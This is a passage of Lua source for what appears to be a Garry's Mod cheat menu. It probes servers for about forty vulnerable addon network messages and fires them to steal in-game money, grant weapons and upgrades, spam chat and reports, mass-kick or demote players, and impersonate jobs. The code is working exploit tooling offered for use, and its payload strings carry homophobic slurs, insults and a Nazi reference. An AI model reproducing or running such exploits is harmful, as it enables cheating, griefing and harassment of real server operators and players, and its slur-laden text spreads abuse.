1993 draw.RoundedBoxEx(5, 0, 0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255, 0, 0, 200), false, true)
1994 else
1995 ExitButton:SetTextColor(Color(255, 255, 255, 255))
1996 draw.RoundedBoxEx(5, 0, 0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255, 0, 0, 255), false, true)
1997 end
1998 else
1999 ExitButton:SetTextColor(Color(20, 20, 20, 200))
2000 draw.RoundedBoxEx(5, 0, 0, ExitButton:GetWide(), ExitButton:GetTall(), Color(200, 0, 0, 200), false, true)
2001 end
2002 end
2003
2004 function ExitButton.DoClick()
2005 base:Remove()
2006 net.Start("changeToPhysgun")
2007 net.SendToServer()
2008 end
2009
2010 local DTeamChoice = vgui.Create("DComboBox", base)
2011 DTeamChoice:SetSize(150, 22)
2012 DTeamChoice:SetPos(75, 50)
2013 DTeamChoice:SetValue("Select Job")
2014
2015 for k, v in pairs(team.GetAllTeams()) do
2016 if not (HIDDEN_TEAMS[k]) and (team.NumPlayers(k) ~= 0) then
2017 DTeamChoice:AddChoice(team.GetName(k))
2018 end
2019 end
2020
2021 DTeamChoice.OnSelect = function(panel, index, value)
2022 for k, _ in pairs(team.GetAllTeams()) do
2023 if value == team.GetName(k) then
2024 for _, v in pairs(player.GetAll()) do
2025 if v:Team() == k then
2026 TeamNum = v:Team()
2027 disguise_Model_Preview_Default = v:GetModel()
2028 end
2029 end
2030 end
2031 end
2032
2033 timer.Create("RefreshModel", 0.1, 0, function()
2034 local icon = vgui.Create("DModelPanel", base)
2035 icon:SetSize(300, 260)
2036 icon:SetPos(-5, 80)
2037 icon:SetFOV(68)
2038 icon:SetModel(disguise_Model_Preview_Default)
2039
2040 timer.Simple(0.1, function()
2041 icon:Remove()
2042 end)
2043 end)
2044
2045 local DisguiseButton = vgui.Create("DButton", base)
2046 DisguiseButton:SetPos(base:GetWide() / 2.5, 360)
2047 DisguiseButton:SetSize(60, 20)
2048 DisguiseButton:SetText("Accept")
2049 DisguiseButton:SetFont("DermaDefaultBold")
2050
2051 function DisguiseButton:Paint()
2052 if DisguiseButton.Hovered then
2053 if DisguiseButton:IsDown() then
2054 DisguiseButton:SetTextColor(Color(200, 200, 200, 200))
2055 draw.RoundedBoxEx(0, 0, 0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60, 200, 0, 200))
2056 else
2057 DisguiseButton:SetTextColor(Color(255, 255, 255, 255))
2058 draw.RoundedBoxEx(0, 0, 0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60, 220, 0, 255))
2059 end
2060 else
2061 DisguiseButton:SetTextColor(Color(20, 20, 20, 200))
2062 draw.RoundedBoxEx(0, 0, 0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60, 200, 0, 255))
2063 end
2064 end
2065
2066 function DisguiseButton:DoClick()
2067 net.Start("SetPlayerModel")
2068
2069 if ChosenName == nil then
2070 net.WriteString(LocalPlayer():Nick())
2071 else
2072 net.WriteString(ChosenName)
2073 end
2074
2075 net.WriteUInt(TeamNum, 16)
2076 net.SendToServer()
2077 base:Close()
2078 net.Start("changeToPhysgun")
2079 net.SendToServer()
2080 end
2081 end
2082 end)
2083 end
2084
2085 status = ValidNetString("Chatbox_PlayerChat")
2086
2087 if (status) then
2088 ECPrint("Found Exploit: WilloxChat Spam [Chatbox_PlayerChat]")
2089
2090 addExploit("42", "WilloxChat Spam", "spam in chat", function()
2091 surface.PlaySound("garrysmod/ui_click.wav")
2092 ECNotify("Starting")
2093
2094 timer.Create("willoxchatspam", 1, 0, function()
2095 net.Start("Chatbox_PlayerChat")
2096 net.WriteEntity(LocalPlayer())
2097 net.WriteBit(1)
2098 net.WriteString("FAGGOTS")
2099 net.WriteBit(1)
2100 net.SendToServer()
2101 end)
2102 end)
2103 end
2104
2105 status = ValidNetString("BuilderXToggleKill")
2106
2107 if (status) then
2108 ECPrint("Found Exploit: BuilderXToggleKill [BuilderXToggleKill]")
2109
2110 addExploit("43", "BuilderXToggleKill", "old exploit, i dont remember what he was doing", function()
2111 surface.PlaySound("garrysmod/ui_click.wav")
2112 ECNotify("Starting")
2113
2114 for k, v in pairs(player.GetAll()) do
2115 net.Start("BuilderXToggleKill")
2116 net.WriteEntity(ply)
2117 net.SendToServer()
2118 end
2119 end)
2120 end
2121
2122 status = ValidNetString("reports.submit")
2123
2124 if (status) then
2125 ECPrint("Found Exploit: Report All [reports.submit]")
2126
2127 addExploit("44", "Report All", "Report all faggots", function()
2128 surface.PlaySound("garrysmod/ui_click.wav")
2129 ECNotify("Starting")
2130
2131 for k, v in pairs(player.GetAll()) do
2132 net.Start("reports.submit")
2133 net.WriteEntity(v)
2134 net.WriteInt(5, 8)
2135 net.WriteString("SuckMyDick")
2136 net.SendToServer()
2137 end
2138 end)
2139 end
2140
2141 status = ValidNetString("services_accept")
2142
2143 if (status) then
2144 ECPrint("Found Exploit: Infernus Service Accept [services_accept]")
2145
2146 addExploit("45", "Infernus Service Accept", "spam to all players", function()
2147 surface.PlaySound("garrysmod/ui_click.wav")
2148 ECNotify("Starting")
2149
2150 timer.Create("serviceaccept", 0, 0, function()
2151 for k, v in pairs(player.GetAll()) do
2152 net.Start("services_accept")
2153 net.WriteString("Nice security, retards xd")
2154 net.WriteVector(Vector(v:GetPos()))
2155 net.WriteString("test image")
2156 net.WriteEntity(v)
2157 net.SendToServer()
2158 end
2159 end)
2160
2161 timer.Simple(4, function()
2162 timer.Destroy("serviceaccept")
2163 end)
2164 end)
2165 end
2166
2167 status = ValidNetString("lockpick_sound")
2168
2169 if (status) then
2170 ECPrint("Found Exploit: LockPick Sound Spam [lockpick_sound]")
2171
2172 addExploit("46", "LockPick Sound Spam", "", function()
2173 surface.PlaySound("garrysmod/ui_click.wav")
2174 ECNotify("Starting")
2175
2176 timer.Create("spamlockpicksound", 3, 0, function()
2177 for k, v in pairs(player.GetAll()) do
2178 net.Start("lockpick_sound")
2179 net.WriteEntity(v)
2180 net.SendToServer()
2181 end
2182 end)
2183
2184 timer.Simple(4, function()
2185 timer.Destroy("spamlockpicksound")
2186 end)
2187 end)
2188 end
2189
2190 status = ValidNetString("customprinter_get")
2191
2192 if (status) then
2193 ECPrint("Found Exploit: Realistic Printers Steal Money [customprinter_get]")
2194
2195 addExploit("47", "Realistic Printers Steal Money", "stealing money from printers", function()
2196 surface.PlaySound("garrysmod/ui_click.wav")
2197 ECNotify("Starting")
2198
2199 for k, v in pairs(ents.GetAll()) do
2200 if v:GetClass():find("print") then
2201 net.Start("customprinter_get")
2202 net.WriteEntity(v)
2203 net.WriteString("g_money")
2204 net.SendToServer()
2205 end
2206 end
2207 end)
2208 end
2209
2210 status = ValidNetString("InformPlayer")
2211
2212 if (status) then
2213 ECPrint("Found Exploit: SimpleGrab Inform [InformPlayer]")
2214
2215 addExploit("48", "SimpleGrab Inform", "Spam all players in the console", function()
2216 surface.PlaySound("garrysmod/ui_click.wav")
2217 ECNotify("Starting")
2218
2219 for k, v in pairs(player.GetAll()) do
2220 for i = 0, 100 do
2221 net.Start("InformPlayer")
2222 net.WriteEntity(v)
2223 net.SendToServer()
2224 end
2225 end
2226 end)
2227 end
2228
2229 status = ValidNetString("pogcp_report_submitReport")
2230
2231 if (status) then
2232 ECPrint("Found Exploit: Report All #2 [pogcp_report_submitReport]")
2233
2234 addExploit("49", "Report All #2", "Report all faggots", function()
2235 surface.PlaySound("garrysmod/ui_click.wav")
2236 ECNotify("Starting")
2237
2238 for i = 0, 100 do
2239 for k, v in pairs(player.GetAll()) do
2240 net.Start("pogcp_report_submitReport")
2241 net.WriteString("lol")
2242 net.WriteString("nice security retards")
2243 net.WriteEntity(v)
2244 net.SendToServer()
2245 end
2246 end
2247 end)
2248 end
2249
2250 status = ValidNetString("1942_Fuhrer_SubmitCandidacy")
2251
2252 if (status) then
2253 ECPrint("Found Exploit: Fuhrer Submit Candidacy [1942_Fuhrer_SubmitCandidacy]")
2254
2255 addExploit("50", "Fuhrer Submit Candidacy", "you instantly become a Fuhrer, Sieg Heil", function()
2256 surface.PlaySound("garrysmod/ui_click.wav")
2257 ECNotify("Starting")
2258 net.Start("1942_Fuhrer_SubmitCandidacy")
2259 net.WriteString(LocalPlayer():Nick())
2260 net.SendToServer()
2261 end)
2262 end
2263
2264 status = ValidNetString("FacCreate")
2265
2266 if (status) then
2267 ECPrint("Found Exploit: Fac Create [FacCreate]")
2268
2269 addExploit("51", "Fac Create", "old exploit", function()
2270 surface.PlaySound("garrysmod/ui_click.wav")
2271 ECNotify("Starting")
2272
2273 timer.Create("fucklol", 1, 0, function()
2274 net.Start("FacCreate")
2275 net.WriteString("LOL " .. random_string(5))
2276 net.WriteString("LOL " .. random_string(10))
2277 net.WriteColor(random_color())
2278 net.WriteBool(false)
2279 net.WriteString(random_string(5))
2280 net.SendToServer()
2281 end)
2282 end)
2283 end
2284
2285 status = ValidNetString("FactionInviteConsole")
2286
2287 if (status) then
2288 ECPrint("Found Exploit: Faction Invite [FactionInviteConsole]")
2289
2290 addExploit("52", "Faction Invite", "", function()
2291 surface.PlaySound("garrysmod/ui_click.wav")
2292 ECNotify("Starting")
2293
2294 timer.Create("lovedarkexploitsxd", 1, 0, function()
2295 for k, v in pairs(player.GetAll()) do
2296 net.Start("FactionInviteConsole")
2297 net.WriteEntity(ply)
2298 net.WriteEntity(table.Random(player.GetAll()))
2299 net.SendToServer()
2300 end
2301 end)
2302 end)
2303 end
2304
2305 status = ValidNetString("WithdrewBMoney")
2306
2307 if (status) then
2308 ECPrint("Found Exploit: Free Money #2 [WithdrewBMoney]")
2309
2310 addExploit("53", "Free Money #2", "an exploit in the addon 'business'", function()
2311 surface.PlaySound("garrysmod/ui_click.wav")
2312 ECNotify("Starting")
2313 net.Start("WithdrewBMoney")
2314 net.WriteInt(50000, 32)
2315 net.SendToServer()
2316 end)
2317 end
2318
2319 status = ValidNetString("deathrag_takeitem")
2320
2321 if (status) then
2322 ECPrint("Found Exploit: Easy Items [deathrag_takeitem]")
2323
2324 addExploit("54", "Easy Items", "collects money, weapons", function()
2325 surface.PlaySound("garrysmod/ui_click.wav")
2326 ECNotify("Starting")
2327 count = 0
2328
2329 for k, v in pairs(ents.GetAll()) do
2330 if v:GetClass() == "prop_ragdoll" then
2331 count = count + 1
2332 end
2333 end
2334
2335 if count == 0 then
2336 ECPrint("No items found")
2337 else
2338 ECPrint("Amount of items " .. count)
2339 end
2340
2341 for k, v in pairs(ents.GetAll()) do
2342 if v:GetClass() == "prop_ragdoll" then
2343 for i = 1, 10 do
2344 net.Start("deathrag_takeitem")
2345 net.WriteEntity(v)
2346 net.WriteInt(i, 16)
2347 net.SendToServer()
2348 end
2349 end
2350 end
2351 end)
2352 end
2353
2354 status = ValidNetString("REPPurchase")
2355
2356 if (status) then
2357 ECPrint("Found Exploit: Heal and Armor [REPPurchase]")
2358
2359 addExploit("55", "Heal and Armor", "armor and hp", function()
2360 surface.PlaySound("garrysmod/ui_click.wav")
2361 ECNotify("Starting")
2362
2363 if LocalPlayer():Health() < 99 then
2364 net.Start("REPPurchase")
2365 net.WriteString("HEALTH")
2366 net.SendToServer()
2367 end
2368
2369 if LocalPlayer():Armor() < 99 then
2370 net.Start("REPPurchase")
2371 net.WriteString("ARMOR")
2372 net.SendToServer()
2373 end
2374 end)
2375 end
2376
2377 status = ValidNetString("BTTTStartVotekick")
2378
2379 if (status) then
2380 ECPrint("Found Exploit: Votekick #2 [BTTTStartVotekick]")
2381
2382 addExploit("56", "Votekick #2", "kick all noobs", function()
2383 surface.PlaySound("garrysmod/ui_click.wav")
2384 ECNotify("Starting")
2385
2386 for k, v in pairs(player.GetAll()) do
2387 if v ~= LocalPlayer() then
2388 net.Start("BTTTStartVotekick")
2389 net.Start("_nonDBVMVote")
2390 net.WriteEntity(v)
2391 net.WriteString("")
2392 net.WriteString("1")
2393 net.SendToServer()
2394 end
2395 end
2396 end)
2397 end
2398
2399 status = ValidNetString("Resupply")
2400
2401 if (status) then
2402 ECPrint("Found Exploit: Respawn Equipment [Resupply]")
2403
2404 addExploit("57", "Respawn Equipment", "", function()
2405 surface.PlaySound("garrysmod/ui_click.wav")
2406 ECNotify("Starting")
2407 net.Start("Resupply")
2408 net.SendToServer()
2409 end)
2410 end
2411
2412 status = ValidNetString("DarkRP_Defib_ForceSpawn")
2413
2414 if (status) then
2415 ECPrint("Found Exploit: Respawn #2 [DarkRP_Defib_ForceSpawn]")
2416
2417 addExploit("58", "Respawn #2", "just respawn", function()
2418 surface.PlaySound("garrysmod/ui_click.wav")
2419 ECNotify("Respawn")
2420 net.Start("DarkRP_Defib_ForceSpawn")
2421 net.SendToServer()
2422 end)
2423 end
2424
2425 status = ValidNetString("FiremanLeave")
2426
2427 if (status) then
2428 ECPrint("Found Exploit: Fireman Leave [FiremanLeave]")
2429
2430 addExploit("59", "Fireman Leave", "", function()
2431 surface.PlaySound("garrysmod/ui_click.wav")
2432 ECNotify("Starting")
2433 net.Start("FiremanLeave")
2434 net.SendToServer()
2435 end)
2436 end
2437
2438 status = ValidNetString("PoliceJoin")
2439
2440 if (status) then
2441 ECPrint("Found Exploit: Join the Police 1 [PoliceJoin]")
2442
2443 addExploit("60", "Join the Police 1", "joining the police", function()
2444 surface.PlaySound("garrysmod/ui_click.wav")
2445 ECNotify("Starting")
2446 net.Start("PoliceJoin")
2447 net.SendToServer()
2448 end)
2449 end
2450
2451 status = ValidNetString("CreateEntity")
2452
2453 if (status) then
2454 ECPrint("Found Exploit: Create Entity [CreateEntity]")
2455
2456 addExploit("61", "Create Entity", "", function()
2457 surface.PlaySound("garrysmod/ui_click.wav")
2458 ECNotify("Starting")
2459
2460 for k, v in pairs(player.GetAll()) do
2461 net.Start("CreateEntity")
2462 net.WriteString("sent_arc_atm")
2463 net.WriteFloat(100000000000000000000000000000000000000000000000000)
2464 net.WriteEntity(v)
2465 net.SendToServer()
2466 end
2467 end)
2468 end
2469
2470 status = ValidNetString("CREATE_REPORT")
2471
2472 if (status) then
2473 ECPrint("Found Exploit: CREATE REPORT [CREATE_REPORT]")
2474
2475 addExploit("62", "CREATE REPORT", "", function()
2476 surface.PlaySound("garrysmod/ui_click.wav")
2477 ECNotify("Starting")
2478
2479 local tab = {
2480 REPORTER = v:Nick(),
2481 REPORTERID = v:SteamID(),
2482 FAGGOT = v:Nick(),
2483 FAGGOTID = v:SteamID(),
2484 INFO = "Say hi to youtube",
2485 PROOF = "https://www.youtube.com/channel/UCmiP5W8BuaLzzGcJVKORErg"
2486 }
2487
2488 for k, v in pairs(player.GetAll()) do
2489 net.Start("CREATE_REPORT")
2490 net.WriteTable(tab)
2491 net.SendToServer()
2492 end
2493 end)
2494 end
2495
2496 status = ValidNetString("Hopping_Test")
2497
2498 if (status) then
2499 ECPrint("Found Exploit: Hopping Test [Hopping_Test]")
2500
2501 addExploit("62", "Hopping Test", "", function()
2502 surface.PlaySound("garrysmod/ui_click.wav")
2503 ECNotify("Starting")
2504
2505 for k, v in pairs(player.GetAll()) do
2506 net.Start("Hopping_Test")
2507 net.WriteEntity(v)
2508 net.WriteString("69.696.696969.69")
2509 net.SendToServer()
2510 end
2511 end)
2512 end
2513
2514 status = ValidNetString("CpForm_Answers")
2515
2516 if (status) then
2517 ECPrint("Found Exploit: Join the Police 2 [CpForm_Answers]")
2518
2519 addExploit("63", "Join the Police 2", "joining the police #2", function()
2520 surface.PlaySound("garrysmod/ui_click.wav")
2521 ECNotify("Starting")
2522 net.Start("CpForm_Answers")
2523 net.WriteEntity(LocalPlayer())
2524 net.WriteTable({})
2525 net.SendToServer()
2526 end)
2527 end
2528
2529 status = ValidNetString("VehicleUnderglow")
2530
2531 if (status) then
2532 ECPrint("Found Exploit: Vehicle Underglow [VehicleUnderglow]")
2533
2534 addExploit("64", "Vehicle Underglow", "", function()
2535 surface.PlaySound("garrysmod/ui_click.wav")
2536 ECNotify("Starting")
2537 net.Start("VehicleUnderglow")
2538 net.SendToServer()
2539 end)
2540 end
2541
2542 status = ValidNetString("OpenGates")
2543
2544 if (status) then
2545 ECPrint("Found Exploit: Open Door #2 [OpenGates]")
2546
2547 addExploit("65", "Open Door #2", "Force open the door you are looking at", function()
2548 surface.PlaySound("garrysmod/ui_click.wav")
2549 ECNotify("Starting")
2550 net.Start("OpenGates")
2551 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
2552 net.SendToServer()
2553 end)
2554 end
2555
2556 status = ValidNetString("DemotePlayer")
2557
2558 if (status) then
2559 ECPrint("Found Exploit: Demote All Players [DemotePlayer]")
2560
2561 addExploit("66", "Demote All Players", "Demote all players", function()
2562 surface.PlaySound("garrysmod/ui_click.wav")
2563 ECNotify("Starting")
2564
2565 for k, v in pairs(player.GetAll()) do
2566 net.Start("DemotePlayer")
2567 net.WriteString(v:SteamID())
2568 net.SendToServer()
2569 end
2570 end)
2571 end
2572
2573 status = ValidNetString("SendMail")
2574
2575 if (status) then
2576 ECPrint("Found Exploit: Send Mail [SendMail]")
2577
2578 addExploit("67", "Send Mail", "sending mail to all players", function()
2579 surface.PlaySound("garrysmod/ui_click.wav")
2580 ECNotify("Starting")
2581
2582 for k, v in pairs(player.GetAll()) do
2583 net.Start("SendMail")
2584 net.WriteString("haha nice security retards")
2585 net.WriteString(v:Nick())
2586 net.SendToServer()
2587 end
2588 end)
2589 end
2590
2591 status = ValidNetString("REPAdminChangeLVL")
2592
2593 if (status) then
2594 ECPrint("Found Exploit: Admin Change Level [REPAdminChangeLVL]")
2595
2596 addExploit("68", "Admin Change Level", "free lvl", function()
2597 surface.PlaySound("garrysmod/ui_click.wav")
2598 ECNotify("Starting")
2599
2600 for k, v in pairs(player.GetAll()) do
2601 net.Start("REPAdminChangeLVL")
2602 net.WriteEntity(v)
2603 net.WriteDouble(1090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
2604 net.SendToServer()
2605 end
2606 end)
2607 end
2608
2609 status = ValidNetString("BuyUpgradesStuff")
2610
2611 if (status) then
2612 ECPrint("Found Exploit: Buy Upgrades [BuyUpgradesStuff]")
2613
2614 addExploit("69", "Buy Upgrades", "free upgrades", function()
2615 surface.PlaySound("garrysmod/ui_click.wav")
2616 ECNotify("Starting")
2617 net.Start("BuyUpgradesStuff")
2618 net.WriteString("")
2619 net.WriteFloat(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
2620 net.SendToServer()
2621 end)
2622 end
2623
2624 status = ValidNetString("SquadGiveWeapon")
2625
2626 if (status) then
2627 ECPrint("Found Exploit: Give Weapons [SquadGiveWeapon]")
2628
2629 addExploit("70", "Give Weapons", "easy weapon", function()
2630 surface.PlaySound("garrysmod/ui_click.wav")
2631 inputFrameExists = true
2632 inputFrame = vgui.Create("DFrame")
2633 inputFrame:SetTitle("Choose a weapon!")
2634 inputFrame:SetSize(400, 75)
2635 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2636 inputFrame:SetDraggable(false)
2637 inputFrame:ShowCloseButton(true)
2638 inputFrame:MakePopup()
2639
2640 inputFrame.Paint = function(self, w, h)
2641 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2642 end
2643
2644 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2645 TextEntry:SetSize(380, 30)
2646 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2647 TextEntry:SetText("ls_sniper")
2648
2649 TextEntry.OnEnter = function(self)
2650 surface.PlaySound("garrysmod/ui_click.wav")
2651 ECNotify("Giving Weapon")
2652 net.Start("SquadGiveWeapon")
2653 net.WriteString(self:GetValue())
2654 net.WriteEntity(LocalPlayer())
2655 net.SendToServer()
2656 inputFrame:SetVisible(false)
2657 end
2658 end)
2659 end
2660
2661 status = ValidNetString("SetTableTarget")
2662
2663 if (status) then
2664 ECPrint("Found Exploit: Set Table Target [SetTableTarget]")
2665
2666 addExploit("71", "Set Table Target", "", function()
2667 surface.PlaySound("garrysmod/ui_click.wav")
2668 ECNotify("Starting")
2669 net.Start("SetTableTarget")
2670 net.WriteString("pername")
2671 net.WriteString("perjob")
2672 net.WriteInt(-10000000000000, 32)
2673 net.WriteString("hitmansel")
2674 net.WriteString("Anony.")
2675 net.WriteString("")
2676 net.WriteFloat(0)
2677 net.WriteInt(-10000000000000, 32)
2678 net.SendToServer()
2679 end)
2680 end
2681
2682 status = ValidNetString("UpdateRPUModelSQL")
2683
2684 if (status) then
2685 ECPrint("Found Exploit: Change character model [UpdateRPUModelSQL]")
2686
2687 addExploit("72", "Change character model", "", function()
2688 surface.PlaySound("garrysmod/ui_click.wav")
2689 ECNotify("Starting")
2690 net.Start("UpdateRPUModelSQL")
2691 net.WriteString(LocalPlayer():GetEyeTrace().Entity:GetModel())
2692 net.SendToServer()
2693 end)
2694 end
2695
2696 status = ValidNetString("disguise")
2697
2698 if (status) then
2699 ECPrint("Found Exploit: Disguise [disguise]")
2700
2701 addExploit("73", "Disguise", "allows you to disguise as any job", function()
2702 surface.PlaySound("garrysmod/ui_click.wav")
2703 inputFrameExists = true
2704 inputFrame = vgui.Create("DFrame")
2705 inputFrame:SetTitle("Enter the number of the job")
2706 inputFrame:SetSize(400, 75)
2707 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2708 inputFrame:SetDraggable(false)
2709 inputFrame:ShowCloseButton(true)
2710 inputFrame:MakePopup()
2711
2712 inputFrame.Paint = function(self, w, h)
2713 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2714 end
2715
2716 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2717 TextEntry:SetSize(380, 30)
2718 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2719 TextEntry:SetText("5")
2720
2721 TextEntry.OnEnter = function(self)
2722 surface.PlaySound("garrysmod/ui_click.wav")
2723 ECNotify("Disguised")
2724 net.Start("disguise")
2725 net.WriteInt(tonumber(self:GetValue()), 32)
2726 net.SendToServer()
2727 inputFrame:SetVisible(false)
2728 end
2729 end)
2730 end
2731
2732 status = ValidNetString("gportal_rpname_change")
2733
2734 if (status) then
2735 ECPrint("Found Exploit: Your RP Name #1 [gportal_rpname_change]")
2736
2737 addExploit("74", "Your RP Name #1", "allows you to put absolutely any rp name", function()
2738 surface.PlaySound("garrysmod/ui_click.wav")
2739 inputFrameExists = true
2740 inputFrame = vgui.Create("DFrame")
2741 inputFrame:SetTitle("Enter your name")
2742 inputFrame:SetSize(400, 75)
2743 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2744 inputFrame:SetDraggable(false)
2745 inputFrame:ShowCloseButton(true)
2746 inputFrame:MakePopup()
2747
2748 inputFrame.Paint = function(self, w, h)
2749 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2750 end
2751
2752 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2753 TextEntry:SetSize(380, 30)
2754 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2755 TextEntry:SetText("--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------")
2756
2757 TextEntry.OnEnter = function(self)
2758 surface.PlaySound("garrysmod/ui_click.wav")
2759 ECNotify("Changed")
2760 net.Start("gportal_rpname_change")
2761 net.WriteString((self:GetValue()), 32)
2762 net.WriteString(" ")
2763 net.SendToServer()
2764 inputFrame:SetVisible(false)
2765 end
2766 end)
2767 end
2768
2769 status = ValidNetString("NewRPNameSQL")
2770
2771 if (status) then
2772 ECPrint("Found Exploit: Your RP Name #2 [NewRPNameSQL]")
2773
2774 addExploit("75", "Your RP Name #2", "allows you to put absolutely any rp name", function()
2775 surface.PlaySound("garrysmod/ui_click.wav")
2776 inputFrameExists = true
2777 inputFrame = vgui.Create("DFrame")
2778 inputFrame:SetTitle("Enter your name")
2779 inputFrame:SetSize(400, 75)
2780 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2781 inputFrame:SetDraggable(false)
2782 inputFrame:ShowCloseButton(true)
2783 inputFrame:MakePopup()
2784
2785 inputFrame.Paint = function(self, w, h)
2786 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2787 end
2788
2789 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2790 TextEntry:SetSize(380, 30)
2791 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2792 TextEntry:SetText("--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------")
2793
2794 TextEntry.OnEnter = function(self)
2795 surface.PlaySound("garrysmod/ui_click.wav")
2796 ECNotify("Changed")
2797 net.Start("NewRPNameSQL")
2798 net.WriteString((self:GetValue()), 32)
2799 net.SendToServer()
2800 inputFrame:SetVisible(false)
2801 end
2802 end)
2803 end
2804
2805 status = ValidNetString("chname")
2806
2807 if (status) then
2808 ECPrint("Found Exploit: Your RP Name #3 [chname]")
2809
2810 addExploit("76", "Your RP Name #3", "discovered by Leith", function()
2811 surface.PlaySound("garrysmod/ui_click.wav")
2812 inputFrameExists = true
2813 inputFrame = vgui.Create("DFrame")
2814 inputFrame:SetTitle("Enter your name")
2815 inputFrame:SetSize(400, 75)
2816 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2817 inputFrame:SetDraggable(false)
2818 inputFrame:ShowCloseButton(true)
2819 inputFrame:MakePopup()
2820
2821 inputFrame.Paint = function(self, w, h)
2822 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2823 end
2824
2825 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2826 TextEntry:SetSize(380, 30)
2827 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2828 TextEntry:SetText("--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------")
2829
2830 TextEntry.OnEnter = function(self)
2831 surface.PlaySound("garrysmod/ui_click.wav")
2832 ECNotify("Changed")
2833 net.Start("chname")
2834 net.WriteString((self:GetValue()))
2835 net.WriteString(" ")
2836 net.SendToServer()
2837 inputFrame:SetVisible(false)
2838 end
2839 end)
2840 end
2841
2842 status = ValidNetString("AbilityUse")
2843
2844 if (status) then
2845 ECPrint("Found Exploit: Free Bonus [AbilityUse]")
2846
2847 addExploit("77", "Free Bonus", "allows you to instantly get bonuses", function()
2848 surface.PlaySound("garrysmod/ui_click.wav")
2849
2850 for k, v in ipairs(rp.abilities.list) do
2851 ECPrint("ID - " .. k .. " | " .. v:GetName())
2852 inputFrameExists = true
2853 inputFrame = vgui.Create("DFrame")
2854 inputFrame:SetTitle("Enter the id of the bonus")
2855 inputFrame:SetSize(400, 75)
2856 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2857 inputFrame:SetDraggable(false)
2858 inputFrame:ShowCloseButton(true)
2859 inputFrame:MakePopup()
2860
2861 inputFrame.Paint = function(self, w, h)
2862 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2863 end
2864
2865 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2866 TextEntry:SetSize(380, 30)
2867 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2868 TextEntry:SetText("6")
2869
2870 TextEntry.OnEnter = function(self)
2871 surface.PlaySound("garrysmod/ui_click.wav")
2872 ECNotify("Received")
2873 net.Start("AbilityUse")
2874 net.WriteInt(tonumber(self:GetValue()), 32)
2875 net.SendToServer()
2876 inputFrame:SetVisible(false)
2877 end
2878 end
2879 end)
2880 end
2881
2882 status = ValidNetString("race_accept")
2883
2884 if (status) then
2885 ECPrint("Found Exploit: Get Car [race_accept]")
2886
2887 addExploit("78", "Get Car", "", function()
2888 surface.PlaySound("garrysmod/ui_click.wav")
2889 inputFrameExists = true
2890 inputFrame = vgui.Create("DFrame")
2891 inputFrame:SetTitle("Enter the id of the car")
2892 inputFrame:SetSize(400, 75)
2893 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2894 inputFrame:SetDraggable(false)
2895 inputFrame:ShowCloseButton(true)
2896 inputFrame:MakePopup()
2897
2898 inputFrame.Paint = function(self, w, h)
2899 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2900 end
2901
2902 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2903 TextEntry:SetSize(380, 30)
2904 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2905 TextEntry:SetText("1")
2906
2907 TextEntry.OnEnter = function(self)
2908 surface.PlaySound("garrysmod/ui_click.wav")
2909 ECNotify("Starting")
2910 net.Start("race_accept")
2911 net.WriteInt(tonumber(self:GetValue()), 32)
2912 net.SendToServer()
2913 end
2914 end)
2915 end
2916
2917 status = ValidNetString("NLR_SPAWN")
2918
2919 if (status) then
2920 ECPrint("Found Exploit: Respawn #3 [NLR_SPAWN]")
2921
2922 addExploit("79", "Respawn #3", "instant revival", function()
2923 surface.PlaySound("garrysmod/ui_click.wav")
